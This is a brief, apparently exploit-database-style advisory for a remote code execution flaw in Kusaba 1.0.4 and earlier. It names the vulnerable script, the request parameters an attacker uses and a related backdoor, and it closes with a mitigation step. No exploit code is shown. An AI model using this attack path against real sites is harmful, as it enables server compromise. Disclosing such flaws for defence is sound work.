Kusaba <= 1.0.4 Remote Code Execution Exploit #2

This exploit will work if the target has left the load_receiver.php script un-edited. After execution, the attacker can execute arbitrary code by sending a POST request to post.php with the parameters 'pc' or 'sc'. The attacker can also use a backdoor from the paint_save.php exploit.

Mitigation:

Ensure that the load_receiver.php script is edited and that the backdoor from the paint_save.php exploit is removed.
